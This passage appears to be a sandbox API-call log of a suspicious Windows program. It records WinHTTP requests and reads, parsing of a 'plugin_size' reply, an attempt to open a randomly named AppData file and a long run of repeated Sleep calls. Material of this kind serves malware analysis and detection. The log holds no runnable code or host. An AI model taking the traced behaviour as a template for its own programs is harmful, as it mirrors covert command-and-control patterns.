dwHeadersLength=0x0, lpOptional=0x471990*, dwOptionalLength=0x15d, dwTotalLength=0x15d, dwContext=0x0) returned 1 [0131.215] WinHttpReceiveResponse (hRequest=0x833ac20, lpReserved=0x0) returned 1 [0131.216] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x2800) returned 0x471e30 [0131.217] WinHttpReadData (in: hRequest=0x833ac20, lpBuffer=0x471e30, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x471e30*, lpdwNumberOfBytesRead=0xfd4fd88*=0x18) returned 1 [0131.219] RtlReAllocateHeap (Heap=0x470000, Flags=0x8, Ptr=0x471e30, Size=0x5000) returned 0x474640 [0131.220] WinHttpReadData (in: hRequest=0x833ac20, lpBuffer=0x474658, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xfd4fd88 | out: lpBuffer=0x474658*, lpdwNumberOfBytesRead=0xfd4fd88*=0x0) returned 1 [0131.220] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x440000 [0131.221] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x474640) returned 1 [0131.221] WinHttpCloseHandle (hInternet=0x833ac20) returned 1 [0131.221] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471d10) returned 0x10d [0131.221] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471d10) returned 1 [0131.221] WinHttpCloseHandle (hInternet=0x4a91960) returned 1 [0131.221] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c40) returned 0x68 [0131.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c40) returned 1 [0131.222] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471c20) returned 0x12 [0131.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471c20) returned 1 [0131.222] WinHttpCloseHandle (hInternet=0x8620320) returned 1 [0131.222] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471b00) returned 0x10c [0131.222] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471b00) returned 1 [0131.223] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471870) returned 0x117 [0131.223] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471870) returned 1 [0131.223] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471990) returned 0x166 [0131.223] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471990) returned 1 [0131.223] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0131.223] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0x15) returned 0x471870 [0131.223] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0131.223] lstrlenA (lpString="plugin_size") returned 11 [0131.223] atoi (_Str="0") returned 0 [0131.223] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0131.223] lstrlenA (lpString="|:|") returned 3 [0131.223] MapViewOfFile (hFileMappingObject=0x19ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x8fd0000 [0131.240] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0131.240] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x8fd0000) returned 0x0 [0131.286] atoi (_Str="0") returned 0 [0131.286] VirtualFree (lpAddress=0x440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.288] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x471840) returned 0x26 [0131.288] RtlFreeHeap (HeapHandle=0x470000, Flags=0x0, BaseAddress=0x471840) returned 1 [0131.288] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0131.289] Sleep (dwMilliseconds=0x258) [0131.944] Sleep (dwMilliseconds=0x258) [0132.602] Sleep (dwMilliseconds=0x258) [0133.282] Sleep (dwMilliseconds=0x258) [0133.942] Sleep (dwMilliseconds=0x258) [0134.550] Sleep (dwMilliseconds=0x258) [0135.173] Sleep (dwMilliseconds=0x258) [0135.782] Sleep (dwMilliseconds=0x258) [0136.424] Sleep (dwMilliseconds=0x258) [0137.071] Sleep (dwMilliseconds=0x258) [0137.693] Sleep (dwMilliseconds=0x258) [0138.375] Sleep (dwMilliseconds=0x258) [0139.113] Sleep (dwMilliseconds=0x258) [0139.763] Sleep (dwMilliseconds=0x258) [0140.404] Sleep (dwMilliseconds=0x258) [0141.033] Sleep (dwMilliseconds=0x258) [0141.661] Sleep (dwMilliseconds=0x258) [0142.376] Sleep (dwMilliseconds=0x258) [0142.408] Sleep (dwMilliseconds=0x258) [0142.457] Sleep (dwMilliseconds=0x258) [0142.493] Sleep (dwMilliseconds=0x258) [0142.495] Sleep (dwMilliseconds=0x258) [0142.496] Sleep (dwMilliseconds=0x258) [0142.498] Sleep (dwMilliseconds=0x258) [0142.500] Sleep (dwMilliseconds=0x258) [0142.502] Sleep (dwMilliseconds=0x258) [0142.503] Sleep (dwMilliseconds=0x258) [0142.505] Sleep (dwMilliseconds=0x258) [0142.506] Sleep (dwMilliseconds=0x258) [0142.508] Sleep (dwMilliseconds=0x258) [0142.509] Sleep (dwMilliseconds=0x258) [0142.511] Sleep (dwMilliseconds=0x258) [0142.512] Sleep (dwMilliseconds=0x258) [0142.514] Sleep (dwMilliseconds=0x258) [0142.515] Sleep (dwMilliseconds=0x258) [0142.517] Sleep (dwMilliseconds=0x258) [0142.518] Sleep (dwMilliseconds=0x258) [0142.520] Sleep (dwMilliseconds=0x258) [0142.521] Sleep (dwMilliseconds=0x258) [0142.523] Sleep (dwMilliseconds=0x258) [0142.525] Sleep (dwMilliseconds=0x258) [0142.554] Sleep (dwMilliseconds=0x258) [0142.623] Sleep (dwMilliseconds=0x258) [0142.700] Sleep (dwMilliseconds=0x258) [0142.729] Sleep (dwMilliseconds=0x258) [0142.731] Sleep (dwMilliseconds=0x258) [0142.733] Sleep (dwMilliseconds=0x258) [0142.734] Sleep (dwMilliseconds=0x258) [0142.736] Sleep (dwMilliseconds=0x258) [0142.737] Sleep (dwMilliseconds=0x258) [0142.739] Sleep (dwMilliseconds=0x258) [0142.741] Sleep (dwMilliseconds=0x258) [0142.742] Sleep (dwMilliseconds=0x258) [0142.744] Sleep (dwMilliseconds=0x258) [0142.745] Sleep (dwMilliseconds=0x258) [0142.747] Sleep (dwMilliseconds=0x258) [0142.748] Sleep (dwMilliseconds=0x258) [0142.750] Sleep (dwMilliseconds=0x258) [0142.752] Sleep (dwMilliseconds=0x258) [0142.753] Sleep (dwMilliseconds=0x258) [0142.759] Sleep (dwMilliseconds=0x258) [0142.760] Sleep (dwMilliseconds=0x258) [0142.762] Sleep (dwMilliseconds=0x258) [0142.764] Sleep (dwMilliseconds=0x258) [0142.765] Sleep (dwMilliseconds=0x258) [0142.767] Sleep (dwMilliseconds=0x258) [0142.769] Sleep (dwMilliseconds=0x258) [0142.770] Sleep (dwMilliseconds=0x258) [0142.772] Sleep (dwMilliseconds=0x258) [0142.773] Sleep (dwMilliseconds=0x258) [0142.775] Sleep (dwMilliseconds=0x258) [0142.776] Sleep (dwMilliseconds=0x258) [0142.778] Sleep (dwMilliseconds=0x258) [0142.779] Sleep (dwMilliseconds=0x258) [0142.781] Sleep (dwMilliseconds=0x258) [0142.783] Sleep (dwMilliseconds=0x258) [0142.785] Sleep (dwMilliseconds=0x258) [0142.788] Sleep (dwMilliseconds=0x258) [0142.789] Sleep (dwMilliseconds=0x258) [0142.790] Sleep (dwMilliseconds=0x258) [0142.792] Sleep (dwMilliseconds=0x258) [0142.793] Sleep (dwMilliseconds=0x258) [0142.795] Sleep (dwMilliseconds=0x258) [0142.797] Sleep (dwMilliseconds=0x258) [0142.799] Sleep (dwMilliseconds=0x258) [0142.801] Sleep (dwMilliseconds=0x258) [0142.804] Sleep (dwMilliseconds=0x258) [0142.805] Sleep (dwMilliseconds=0x258) [0142.807] Sleep (dwMilliseconds=0x258) [0142.809] Sleep (dwMilliseconds=0x258) [0142.811] Sleep (dwMilliseconds=0x258) [0142.818] Sleep (dwMilliseconds=0x258) [0142.820] Sleep (dwMilliseconds=0x258) [0142.821] Sleep (dwMilliseconds=0x258) [0142.823] Sleep (dwMilliseconds=0x258) [0142.902] Sleep (dwMilliseconds=0x258) [0143.002] Sleep (dwMilliseconds=0x258) [0143.071] Sleep (dwMilliseconds=0x258) [0143.074] Sleep (dwMilliseconds=0x258) [0143.076] Sleep (dwMilliseconds=0x258) [0143.077] Sleep (dwMilliseconds=0x258) [0143.079] Sleep (dwMilliseconds=0x258) [0143.081] Sleep (dwMilliseconds=0x258) [0143.083] Sleep (dwMilliseconds=0x258) [0143.087] Sleep (dwMilliseconds=0x258) [0143.090] Sleep (dwMilliseconds=0x258) [0143.091] Sleep (dwMilliseconds=0x258) [0143.094] Sleep (dwMilliseconds=0x258) [0143.096] Sleep (dwMilliseconds=0x258) [0143.097] Sleep (dwMilliseconds=0x258) [0143.099] Sleep (dwMilliseconds=0x258) [0143.100] Sleep (dwMilliseconds=0x258) [0143.102] Sleep (dwMilliseconds=0x258) [0143.104] Sleep (dwMilliseconds=0x258) [0143.106] Sleep (dwMilliseconds=0x258) [0143.107] Sleep (dwMilliseconds=0x258) [0143.109] Sleep (dwMilliseconds=0x258) [0143.110] Sleep (dwMilliseconds=0x258) [0143.112] Sleep (dwMilliseconds=0x258) [0143.115] Sleep (dwMilliseconds=0x258) [0143.117] Sleep (dwMilliseconds=0x258) [0143.119] Sleep (dwMilliseconds=0x258) [0143.121] Sleep (dwMilliseconds=0x258) [0143.122] Sleep (dwMilliseconds=0x258) [0143.124] Sleep (dwMilliseconds=0x258) [0143.126] Sleep (dwMilliseconds=0x258) [0143.127] Sleep (dwMilliseconds=0x258) [0143.129] Sleep (dwMilliseconds=0x258) [0143.132] Sleep (dwMilliseconds=0x258) [0143.133] Sleep (dwMilliseconds=0x258) [0143.135] Sleep (dwMilliseconds=0x258) [0143.137] Sleep (dwMilliseconds=0x258) [0143.138] Sleep (dwMilliseconds=0x258) [0143.140] Sleep (dwMilliseconds=0x258) [0143.141] Sleep (dwMilliseconds=0x258) [0143.145] Sleep (dwMilliseconds=0x258) [0143.147] Sleep (dwMilliseconds=0x258) [0143.148] Sleep (dwMilliseconds=0x258) [0143.150] Sleep (dwMilliseconds=0x258) [0143.152] Sleep (dwMilliseconds=0x258) [0143.155] Sleep (dwMilliseconds=0x258) [0143.157] Sleep (dwMilliseconds=0x258) [0143.158] Sleep (dwMilliseconds=0x258) [0143.160] Sleep (dwMilliseconds=0x258) [0143.162] Sleep (dwMilliseconds=0x258) [0143.164] Sleep (dwMilliseconds=0x258) [0143.166] Sleep (dwMilliseconds=0x258) [0143.167] Sleep (dwMilliseconds=0x258) [0143.169] Sleep (dwMilliseconds=0x258) [0143.171] Sleep (dwMilliseconds=0x258) [0143.172] Sleep (dwMilliseconds=0x258) [0143.290] Sleep (dwMilliseconds=0x258) [0143.454] Sleep (dwMilliseconds=0x258) [0143.482] Sleep (dwMilliseconds=0x258) [0143.483] Sleep (dwMilliseconds=0x258) [0143.588] Sleep (dwMilliseconds=0x258) [0143.667] Sleep (dwMilliseconds=0x258) [0143.673] Sleep (dwMilliseconds=0x258) [0143.675] Sleep (dwMilliseconds=0x258) [0143.677] Sleep (dwMilliseconds=0x258) [0143.689] Sleep (dwMilliseconds=0x258) [0143.690] Sleep (dwMilliseconds=0x258) [0143.692] Sleep (dwMilliseconds=0x258) [0143.693] Sleep (dwMilliseconds=0x258) [0143.695] Sleep (dwMilliseconds=0x258) [0143.696] Sleep (dwMilliseconds=0x258) [0143.698] Sleep (dwMilliseconds=0x258) [0143.699] Sleep (dwMilliseconds=0x258) [0143.701] Sleep (dwMilliseconds=0x258) [0143.702] Sleep (dwMilliseconds=0x258) [0143.704] Sleep (dwMilliseconds=0x258) [0143.706] Sleep (dwMilliseconds=0x258) [0143.708] Sleep (dwMilliseconds=0x258) [0143.709] Sleep (dwMilliseconds=0x258) [0143.711] Sleep (dwMilliseconds=0x258) [0143.712] Sleep (dwMilliseconds=0x258) [0143.714] Sleep (dwMilliseconds=0x258) [0143.715] Sleep (dwMilliseconds=0x258) [0143.717] Sleep (dwMilliseconds=0x258) [0143.718] Sleep (dwMilliseconds=0x258) [0143.720] Sleep (dwMilliseconds=0x258) [0143.722] Sleep (dwMilliseconds=0x258) [0143.724] Sleep (dwMilliseconds=0x258) [0143.725] Sleep (dwMilliseconds=0x258) [0143.727] Sleep (dwMilliseconds=0x258) [0143.728] Sleep (dwMilliseconds=0x258) [0143.730] Sleep (dwMilliseconds=0x258) [0143.732] Sleep (dwMilliseconds=0x258) [0143.734] Sleep (dwMilliseconds=0x258) [0143.735] Sleep (dwMilliseconds=0x258) [0143.737] Sleep (dwMilliseconds=0x258) [0143.739] Sleep (dwMilliseconds=0x258) [0143.741] Sleep (dwMilliseconds=0x258) [0143.746] Sleep (dwMilliseconds=0x258) [0143.748] Sleep (dwMilliseconds=0x258) [0143.788] Sleep (dwMilliseconds=0x258) [0143.823] Sleep (dwMilliseconds=0x258) [0143.993] Sleep (dwMilliseconds=0x258) [0144.048] Sleep (dwMilliseconds=0x258) [0144.089] Sleep (dwMilliseconds=0x258) [0144.090] Sleep (dwMilliseconds=0x258) [0144.092] Sleep (dwMilliseconds=0x258) [0144.093] Sleep (dwMilliseconds=0x258) [0144.095] Sleep (dwMilliseconds=0x258) [0144.096] Sleep (dwMilliseconds=0x258) [0144.098] Sleep (dwMilliseconds=0x258) [0144.099] Sleep (dwMilliseconds=0x258) [0144.102] Sleep (dwMilliseconds=0x258) [0144.103] Sleep (dwMilliseconds=0x258) [0144.105] Sleep (dwMilliseconds=0x258) [0144.106] Sleep (dwMilliseconds=0x258) [0144.118] Sleep (dwMilliseconds=0x258) [0144.164] Sleep (dwMilliseconds=0x258) [0144.219] Sleep (dwMilliseconds=0x258) [0144.220] Sleep (dwMilliseconds=0x258) [0144.222] Sleep (dwMilliseconds=0x258) [0144.223] Sleep (dwMilliseconds=0x258) [0144.225] Sleep (dwMilliseconds=0x258) [0144.228] Sleep (dwMilliseconds=0x258) [0144.229] Sleep (dwMilliseconds=0x258) [0144.231] Sleep (dwMilliseconds=0x258) [0144.233] Sleep (dwMilliseconds=0x258) [0144.234] Sleep (dwMilliseconds=0x258) [0144.236] Sleep (dwMilliseconds=0x258) [0144.237] Sleep (dwMilliseconds=0x258) [0144.239] Sleep (dwMilliseconds=0x258) [0144.240] Sleep (dwMilliseconds=0x258) [0144.242] Sleep (dwMilliseconds=0x258) [0144.243] Sleep (dwMilliseconds=0x258) [0144.245] Sleep (dwMilliseconds=0x258) [0144.247] Sleep (dwMilliseconds=0x258) [0144.293] Sleep (dwMilliseconds=0x258) [0144.294] Sleep (dwMilliseconds=0x258) [0144.297] Sleep (dwMilliseconds=0x258) [0144.299] Sleep (dwMilliseconds=0x258) [0144.301] Sleep (dwMilliseconds=0x258) [0144.302] Sleep (dwMilliseconds=0x258) [0144.306] Sleep (dwMilliseconds=0x258) [0144.307] Sleep (dwMilliseconds=0x258) [0144.309] Sleep (dwMilliseconds=0x258) [0144.310] Sleep (dwMilliseconds=0x258) [0144.312] Sleep (dwMilliseconds=0x258) [0144.314] Sleep (dwMilliseconds=0x258) [0144.316] Sleep (dwMilliseconds=0x258) [0144.317] Sleep (dwMilliseconds=0x258) [0144.319] Sleep (dwMilliseconds=0x258) [0144.320] Sleep (dwMilliseconds=0x258) [0144.331] Sleep (dwMilliseconds=0x258) [0144.333] Sleep (dwMilliseconds=0x258) [0144.334] Sleep (dwMilliseconds=0x258) [0144.336] Sleep (dwMilliseconds=0x258) [0144.337] Sleep (dwMilliseconds=0x258) [0144.339] Sleep (dwMilliseconds=0x258) [0144.340] Sleep (dwMilliseconds=0x258) [0144.342] Sleep (dwMilliseconds=0x258) [0144.344] Sleep (dwMilliseconds=0x258) [0144.345] Sleep (dwMilliseconds=0x258) [0144.348] Sleep (dwMilliseconds=0x258) [0144.350] Sleep (dwMilliseconds=0x258) [0144.352] Sleep (dwMilliseconds=0x258) [0144.355] Sleep (dwMilliseconds=0x258) [0144.356] Sleep (dwMilliseconds=0x258) [0144.359] Sleep (dwMilliseconds=0x258) [0144.362] Sleep (dwMilliseconds=0x258) [0144.364] Sleep (dwMilliseconds=0x258) [0144.365] Sleep (dwMilliseconds=0x258) [0144.367] Sleep (dwMilliseconds=0x258) [0144.368] Sleep (dwMilliseconds=0x258) [0144.370] Sleep (dwMilliseconds=0x258) [0144.371] Sleep (dwMilliseconds=0x258) [0144.373] Sleep (dwMilliseconds=0x258) [0144.375] Sleep (dwMilliseconds=0x258) [0144.376] Sleep (dwMilliseconds=0x258) [0144.378] Sleep (dwMilliseconds=0x258) [0144.379] Sleep (dwMilliseconds=0x258) [0144.381] Sleep (dwMilliseconds=0x258) [0144.383] Sleep (dwMilliseconds=0x258) [0144.384] Sleep (dwMilliseconds=0x258) [0144.386] Sleep (dwMilliseconds=0x258) [0144.387] Sleep (dwMilliseconds=0x258) [0144.389] Sleep (dwMilliseconds=0x258) [0144.391] Sleep (dwMilliseconds=0x258) [0144.451] Sleep (dwMilliseconds=0x258) [0144.453] Sleep (dwMilliseconds=0x258) [0144.454] Sleep (dwMilliseconds=0x258) [0144.456] Sleep (dwMilliseconds=0x258) [0144.458] Sleep (dwMilliseconds=0x258) [0144.459] Sleep (dwMilliseconds=0x258) [0144.461] Sleep (dwMilliseconds=0x258) [0144.463] Sleep (dwMilliseconds=0x258) [0144.464] Sleep (dwMilliseconds=0x258) [0144.466] Sleep (dwMilliseconds=0x258) [0144.468] Sleep (dwMilliseconds=0x258) [0144.469] Sleep (dwMilliseconds=0x258) [0144.471] Sleep (dwMilliseconds=0x258) [0144.474] Sleep (dwMilliseconds=0x258) [0144.476] Sleep (dwMilliseconds=0x258) [0144.477] Sleep (dwMilliseconds=0x258) [0144.479] Sleep (dwMilliseconds=0x258) [0144.481] Sleep (dwMilliseconds=0x258) [0144.483] Sleep (dwMilliseconds=0x258) [0144.484] Sleep (dwMilliseconds=0x258) [0144.486] Sleep (dwMilliseconds=0x258) [0144.487] Sleep (dwMilliseconds=0x258) [0144.489] Sleep (dwMilliseconds=0x258) [0144.491] Sleep (dwMilliseconds=0x258) [0144.493] Sleep (dwMilliseconds=0x258) [0144.494] Sleep (dwMilliseconds=0x258) [0144.496] Sleep (dwMilliseconds=0x258) [0144.505] Sleep (dwMilliseconds=0x258) [0144.506] Sleep (dwMilliseconds=0x258) [0144.508] Sleep (dwMilliseconds=0x258) [0144.510] Sleep (dwMilliseconds=0x258) [0144.515] Sleep (dwMilliseconds=0x258) [0144.517] Sleep (dwMilliseconds=0x258) [0144.518] Sleep (dwMilliseconds=0x258) [0144.520] Sleep (dwMilliseconds=0x258) [0144.521] Sleep (dwMilliseconds=0x258) [0144.523] Sleep (dwMilliseconds=0x258) [0144.524] Sleep (dwMilliseconds=0x258) [0144.526] Sleep (dwMilliseconds=0x258) [0144.527] Sleep (dwMilliseconds=0x258) [0144.530] Sleep (dwMilliseconds=0x258) [0144.598] Sleep (dwMilliseconds=0x258) [0144.600] Sleep (dwMilliseconds=0x258) [0144.601] Sleep (dwMilliseconds=0x258) [0144.603] Sleep (dwMilliseconds=0x258) [0144.604] Sleep (dwMilliseconds=0x258) [0144.674] Sleep (dwMilliseconds=0x258) [0144.743] Sleep (dwMilliseconds=0x258) [0144.753] Sleep (dwMilliseconds=0x258) [0144.755] Sleep (dwMilliseconds=0x258) [0144.756] Sleep (dwMilliseconds=0x258) [0144.758] Sleep (dwMilliseconds=0x258) [0144.759] Sleep (dwMilliseconds=0x258) [0144.761] Sleep (dwMilliseconds=0x258) [0144.762] Sleep (dwMilliseconds=0x258) [0144.765] Sleep (dwMilliseconds=0x258) [0144.766] Sleep (dwMilliseconds=0x258) [0144.768] Sleep (dwMilliseconds=0x258) [0144.769] Sleep (dwMilliseconds=0x258) [0144.771] Sleep (dwMilliseconds=0x258) [0144.772] Sleep (dwMilliseconds=0x258) [0144.774] Sleep (dwMilliseconds=0x258) [0144.806] Sleep (dwMilliseconds=0x258) [0144.808] Sleep (dwMilliseconds=0x258) [0144.809] Sleep (dwMilliseconds=0x258) [0144.811] Sleep (dwMilliseconds=0x258) [0144.812] Sleep (dwMilliseconds=0x258) [0144.814] Sleep (dwMilliseconds=0x258) [0144.815] Sleep (dwMilliseconds=0x258) [0144.817] Sleep (dwMilliseconds=0x258) [0144.819] Sleep (dwMilliseconds=0x258) [0144.820] Sleep (dwMilliseconds=0x258) [0144.824] Sleep (dwMilliseconds=0x258) [0144.826] Sleep (dwMilliseconds=0x258) [0144.828] Sleep (dwMilliseconds=0x258) [0144.829] Sleep (dwMilliseconds=0x258) [0144.831] Sleep (dwMilliseconds=0x258) [0144.833] Sleep (dwMilliseconds=0x258) [0144.835] Sleep (dwMilliseconds=0x258) [0144.836] Sleep (dwMilliseconds=0x258) [0144.840] Sleep (dwMilliseconds=0x258) [0144.842] Sleep (dwMilliseconds=0x258) [0144.843] Sleep (dwMilliseconds=0x258) [0144.845] Sleep (dwMilliseconds=0x258) [0144.847] Sleep (dwMilliseconds=0x258) [0144.848] Sleep (dwMilliseconds=0x258) [0144.850] Sleep (dwMilliseconds=0x258) [0144.852] Sleep (dwMilliseconds=0x258) [0144.853] Sleep (dwMilliseconds=0x258) [0144.931] Sleep (dwMilliseconds=0x258) [0144.933] Sleep (dwMilliseconds=0x258) [0144.934] Sleep (dwMilliseconds=0x258) [0144.957] Sleep (dwMilliseconds=0x258) [0144.958] Sleep (dwMilliseconds=0x258) [0144.967] Sleep (dwMilliseconds=0x258) [0144.969] Sleep (dwMilliseconds=0x258) [0144.970] Sleep (dwMilliseconds=0x258) [0144.972] Sleep (dwMilliseconds=0x258) [0144.973] Sleep (dwMilliseconds=0x258) [0144.975] Sleep (dwMilliseconds=0x258) [0144.976] Sleep (dwMilliseconds=0x258) [0144.978] Sleep (dwMilliseconds=0x258) [0144.980] Sleep (dwMilliseconds=0x258) [0144.982] Sleep (dwMilliseconds=0x258) [0144.984] Sleep (dwMilliseconds=0x258) [0144.985] Sleep (dwMilliseconds=0x258) [0144.988] Sleep (dwMilliseconds=0x258) [0144.990] Sleep (dwMilliseconds=0x258) [0144.991] Sleep (dwMilliseconds=0x258) [0144.992] Sleep (dwMilliseconds=0x258) [0144.994] Sleep (dwMilliseconds=0x258) [0144.997] Sleep (dwMilliseconds=0x258) [0144.999] Sleep (dwMilliseconds=0x258) [0145.001] Sleep (dwMilliseconds=0x258) [0145.003] Sleep (dwMilliseconds=0x258) [0145.005] Sleep (dwMilliseconds=0x258) [0145.006] Sleep (dwMilliseconds=0x258) [0145.007] Sleep (dwMilliseconds=0x258) [0145.009] Sleep (dwMilliseconds=0x258) [0145.010] Sleep (dwMilliseconds=0x258) [0145.051] Sleep (dwMilliseconds=0x258) [0145.071] Sleep (dwMilliseconds=0x258) [0145.074] Sleep (dwMilliseconds=0x258) [0145.076] Sleep (dwMilliseconds=0x258) [0145.077] Sleep (dwMilliseconds=0x258) [0145.079] Sleep (dwMilliseconds=0x258) [0145.081] Sleep (dwMilliseconds=0x258) [0145.083] Sleep (dwMilliseconds=0x258) [0145.084] Sleep (dwMilliseconds=0x258) [0145.086] Sleep (dwMilliseconds=0x258) [0145.087] Sleep (dwMilliseconds=0x258) [0145.089] Sleep (dwMilliseconds=0x258) [0145.090] Sleep (dwMilliseconds=0x258) [0145.092] Sleep (dwMilliseconds=0x258) [0145.096] Sleep (dwMilliseconds=0x258) [0145.098] Sleep (dwMilliseconds=0x258) [0145.099] Sleep (dwMilliseconds=0x258) [0145.162] Sleep (dwMilliseconds=0x258) [0145.164] Sleep (dwMilliseconds=0x258) [0145.165] Sleep (dwMilliseconds=0x258) [0145.167] Sleep (dwMilliseconds=0x258) [0145.245] Sleep (dwMilliseconds=0x258) [0145.246] Sleep (dwMilliseconds=0x258) [0145.249] Sleep (dwMilliseconds=0x258) [0145.250] Sleep (dwMilliseconds=0x258) [0145.252] Sleep (dwMilliseconds=0x258) [0145.253] Sleep (dwMilliseconds=0x258) [0145.255] Sleep (dwMilliseconds=0x258) [0145.256] Sleep (dwMilliseconds=0x258) [0145.258] Sleep (dwMilliseconds=0x258) [0145.259] Sleep (dwMilliseconds=0x258) [0145.261] Sleep (dwMilliseconds=0x258) [0145.262] Sleep (dwMilliseconds=0x258) [0145.293] Sleep (dwMilliseconds=0x258) [0145.329] Sleep (dwMilliseconds=0x258) [0145.409] Sleep (dwMilliseconds=0x258) [0145.414] Sleep (dwMilliseconds=0x258) [0145.416] Sleep (dwMilliseconds=0x258) [0145.418] Sleep (dwMilliseconds=0x258) [0145.419] Sleep (dwMilliseconds=0x258) [0145.421] Sleep (dwMilliseconds=0x258) [0145.423] Sleep (dwMilliseconds=0x258) [0145.424] Sleep (dwMilliseconds=0x258) [0145.425] Sleep (dwMilliseconds=0x258) [0145.427] Sleep (dwMilliseconds=0x258) [0145.430] Sleep (dwMilliseconds=0x258) [0145.431] Sleep (dwMilliseconds=0x258) [0145.432] Sleep (dwMilliseconds=0x258) [0145.435] Sleep (dwMilliseconds=0x258) [0145.436] Sleep (dwMilliseconds=0x258) [0145.438] Sleep (dwMilliseconds=0x258) [0145.440] Sleep (dwMilliseconds=0x258) [0145.442] Sleep (dwMilliseconds=0x258) [0145.455] Sleep (dwMilliseconds=0x258) [0145.458] Sleep (dwMilliseconds=0x258) [0145.460] Sleep (dwMilliseconds=0x258) [0145.462] Sleep (dwMilliseconds=0x258) [0145.464] Sleep (dwMilliseconds=0x258) [0145.466] Sleep (dwMilliseconds=0x258) [0145.468] Sleep (dwMilliseconds=0x258) [0145.469] Sleep (dwMilliseconds=0x258) [0145.471] Sleep (dwMilliseconds=0x258) [0145.473] Sleep (dwMilliseconds=0x258) [0145.474] Sleep (dwMilliseconds=0x258) [0145.476] Sleep (dwMilliseconds=0x258) [0145.477] Sleep (dwMilliseconds=0x258) [0145.479] Sleep (dwMilliseconds=0x258) [0145.480] Sleep (dwMilliseconds=0x258) [0145.482] Sleep (dwMilliseconds=0x258) [0145.483] Sleep (dwMilliseconds=0x258) [0145.485] Sleep (dwMilliseconds=0x258) [0145.510] Sleep (dwMilliseconds=0x258) [0145.569] Sleep (dwMilliseconds=0x258) [0145.580] Sleep (dwMilliseconds=0x258) [0145.581] Sleep (dwMilliseconds=0x258) [0145.583] Sleep (dwMilliseconds=0x258) [0145.584] Sleep (dwMilliseconds=0x258) [0145.586] Sleep (dwMilliseconds=0x258) [0145.587] Sleep (dwMilliseconds=0x258) [0145.589] Sleep (dwMilliseconds=0x258) [0145.594] Sleep (dwMilliseconds=0x258) [0145.595] Sleep (dwMilliseconds=0x258) [0145.597] Sleep (dwMilliseconds=0x258) [0145.619] Sleep (dwMilliseconds=0x258) [0145.621] Sleep (dwMilliseconds=0x258) [0145.622] Sleep (dwMilliseconds=0x258) [0145.623] Sleep (dwMilliseconds=0x258) [0145.625] Sleep (dwMilliseconds=0x258) [0145.627] Sleep (dwMilliseconds=0x258) [0145.628] Sleep (dwMilliseconds=0x258) [0145.630] Sleep (dwMilliseconds=0x258) [0145.632] Sleep (dwMilliseconds=0x258) [0145.636] Sleep (dwMilliseconds=0x258) [0145.637] Sleep (dwMilliseconds=0x258) [0145.638] Sleep (dwMilliseconds=0x258) [0145.640] Sleep (dwMilliseconds=0x258) [0145.641] Sleep (dwMilliseconds=0x258) [0145.643] Sleep (dwMilliseconds=0x258) [0145.645] Sleep (dwMilliseconds=0x258) [0145.647] Sleep (dwMilliseconds=0x258) [0145.648] Sleep (dwMilliseconds=0x258) [0145.650] Sleep (dwMilliseconds=0x258) [0145.651] Sleep (dwMilliseconds=0x258) [0145.653] Sleep (dwMilliseconds=0x258) [0145.654] Sleep (dwMilliseconds=0x258) [0145.656] Sleep (dwMilliseconds=0x258) [0145.657] Sleep (dwMilliseconds=0x258) [0145.659] Sleep (dwMilliseconds=0x258) [0145.661] Sleep (dwMilliseconds=0x258) [0145.662] Sleep (dwMilliseconds=0x258) [0145.664] Sleep (dwMilliseconds=0x258) [0145.666] Sleep (dwMilliseconds=0x258) [0145.667] Sleep (dwMilliseconds=0x258) [0145.669] Sleep (dwMilliseconds=0x258) [0145.671] Sleep (dwMilliseconds=0x258) [0145.672] Sleep (dwMilliseconds=0x258) [0145.674] Sleep (dwMilliseconds=0x258) [0145.675] Sleep (dwMilliseconds=0x258) [0145.679] Sleep (dwMilliseconds=0x258) [0145.681] Sleep (dwMilliseconds=0x258) [0145.682] Sleep (dwMilliseconds=0x258) [0145.684] Sleep (dwMilliseconds=0x258) [0145.711] Sleep (dwMilliseconds=0x258) [0145.712] Sleep (dwMilliseconds=0x258) [0145.715] Sleep (dwMilliseconds=0x258) [0145.717] Sleep (dwMilliseconds=0x258) [0145.818] Sleep (dwMilliseconds=0x258) [0145.834] Sleep (dwMilliseconds=0x258) [0145.837] Sleep (dwMilliseconds=0x258) [0145.840] Sleep (dwMilliseconds=0x258) [0145.842] 